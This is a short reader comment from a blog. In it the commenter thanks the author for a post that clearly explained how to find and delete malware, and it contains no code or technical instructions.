  63. Ann Marie @ CHEESESLAVE on December 20th, 2010 9:58 am

    This is the first blog post I've found in MONTHS that has adequately explained how to easily go and find malware and delete it. Thank you thank you thank you! I really appreciate you taking the time to write this post and to explain everything so clearly. You saved me!

Leave a Reply